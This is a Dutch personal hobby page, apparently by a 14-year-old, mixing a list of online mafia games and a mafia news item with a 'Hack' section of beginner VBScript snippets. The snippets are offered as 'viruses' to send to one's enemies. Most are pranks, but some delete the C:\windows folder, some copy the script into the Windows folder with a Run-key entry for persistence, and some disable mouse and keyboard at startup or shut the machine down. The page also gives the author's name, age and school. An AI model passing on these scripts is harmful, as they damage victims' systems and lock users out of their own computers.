Gerelateerd
Hack
hoi de maffia hackt ook soms om aan belangrijke informatie te komen hiet komen een paar beginner scripts. Met Visual Basic scripts is het heel makelijk om een virus te maken, hiermee is ooit ook het bekende ''I love you virus'' gemaakt. 1. Open kladblok 2. Stop er wat onderstaande scripts in 3. Sla het op als .vbs en dus niet als .vbs.txt maar .vbs! 4. En open het, of als hij te erg is stuur hem door naar je vijanden! Uitleg is recht gedrukt, script is scheefgedrukt Hieronder enkele scripts: * Een Bericht maken: msgbox "Hej klootzak" * Een Bericht maken met je eigen Titel X = msgbox ("Hej klootzak", 1024, "h4ck.nl zegt: ") * Eeen andere input: strPtn = InputBox("SOM 2x4=...") If (strptn) = 8 Then: msgbox "Dat is het goede antwoord" do If (strPtn) 8 Then: strPtn = InputBox("SOM 2x4=...") loop msgbox "test test" * Een "Inputbox" maken a=inputbox("Wat is je naam?") msgbox "Tering wat een naam zeg," +a * Site als startpagina Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page", http://www.h4ck.nl * "System Beep" Set oWS = WScript.CreateObject("WScript.Shell") oWS.Run "%comspec% /c echo " & Chr(07), 0, True * CD/DVD speler openen: Set oWMP = CreateObject("WMPlayer.OCX.7" ) Set colCDROMs = oWMP.cdromCollection colCDROMs.Item(i).Eject * Cdrom open en dicht: Dim oWMP Dim colCDROMs, i Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If oWMP.close Set colCDROMs = Nothing Set oWMP = Nothing * Een Folder verwijderen: ' delete Set fso = CreateObject("Scripting.FileSystemObject") Set aFolder = fso.GetFolder("C:windows") aFolder.Delete * Een Folder aanmaken: path = "C:linux" set filesys=CreateObject("Scripting.FileSystemObject") If Not filesys.FolderExists(path) Then Set folder = filesys.CreateFolder(path) End If * Een Folder/Bestand openen: Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run ("C:Windows") * Een Registerwaarde aanmaken/wijzigen: (deze zorgt voor het sneller openen van Menu's in Start) Set shl = CreateObject("Wscript.shell") Shl.RegWrite "HKEY_CURRENT_USERControl PanelDesktopMenuShowDelay", "55" * Een programma openen: Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run ("notepad.exe") * Tekst versturen naar willekeurige applicatie: WScript.Sleep 400 WshShell.SendKeys " Je tekst " Windows Script laten slapen: WScript.Sleep 800 ( een korte pauze, de waarde 800 kan je veranderen) * Windows laten afsluiten: Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") for each OpSys in OpSysSet OpSys.ShutDown() next * Iets herhalen: do msgbox "Hallo!" loop msgbox"Tekstinhetscherm", optioneleschermsoortenknopsoorthier, "Titelscherm" Schermsoorten: vbCritical vbInformation vbExclamation e.a. Knopsoorten: vbOKOnly vbYesNo vbAbortIgnoreRetry e.a. * Wordpad openen en text typen Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run ("notepad.exe") WScript.Sleep 100 WshShell.SendKeys "tekst" om enter te doen moet je {enter} typen * Naam van internet-explorer veranderen Set shl = CreateObject("Wscript.shell") Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Aangeboden door ArmeStakkers.nl" * In opstart volgorde van windows zetten Set Shl = CreateObject("Wscript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") winfolder = fso.GetSpecialFolder(0) Set vbsfile = fso.GetFile(WScript.ScriptFullName) vbsfile.Copy winfolder & "je filenaam" Shl.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunStart menu",winfolder & "je filenaam" * Dit veranderd de pc naam Set shl = CreateObject("Wscript.shell") Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRegisteredOwner", "De naam hier" * Muis uitschakelen Set shl = CreateObject("Wscript.shell") Shl.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunDisableMouse", "Rundll32.exe Mouse,Disable" * Toetsenbord uitschakelen Set shl = CreateObject("Wscript.shell") Shl.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunDisableKeyboard", "Rundll32.exe Keyboard,Disable" * Msn naam veranderen van slachtoffer Public WithEvents msn As MessengerAPI.Messenger Private Sub Form_Load() Set msn = New MessengerAPI.Messenger End Sub Private Sub Timer1_Timer() msn.OptionsPages 0, MOPT_GENERAL_PAGE Pause 0.5 SendKeys " Hier plaats je je tekst" Pause 0.5 SendKeys "{ENTER}" SendKeys "{ENTER}" Me.Show End Sub Sub Pause(interval) Current = Timer Do While Timer - Current < Val(interval) DoEvents Loop End Sub al deze scripts doen het probeer maar
Info maffia top
hoi hier komt een beschrijving van mijn maffia top10 1 crimestreets: overval andere criminelen, vermoord mensen , steel auto's, pleeg misdaden, er komt een nieuw auto steel systeem, veel updates 2 bulletstar: overval andere criminelen, vermoord mensen, steel auto's, pleeg misdaden, niet veel updates
Info over mijzelf
naam: daan leeftijd: 14 jaar school: christelijk gymnasium utrecht hobby's: computeren en atletiek
Laatste nieuws over de italiaanse maffia
De Calabrische maffia heeft vorig jaar voor bijna 44 miljard euro 'zaken' gedaan, vooral door cocaïne te verhandelen. De omzet van de Calabrische maffia, ook wel de 'ndrangheta genoemd, bedraagt daarmee 2,9 procent van het Italiaans BNP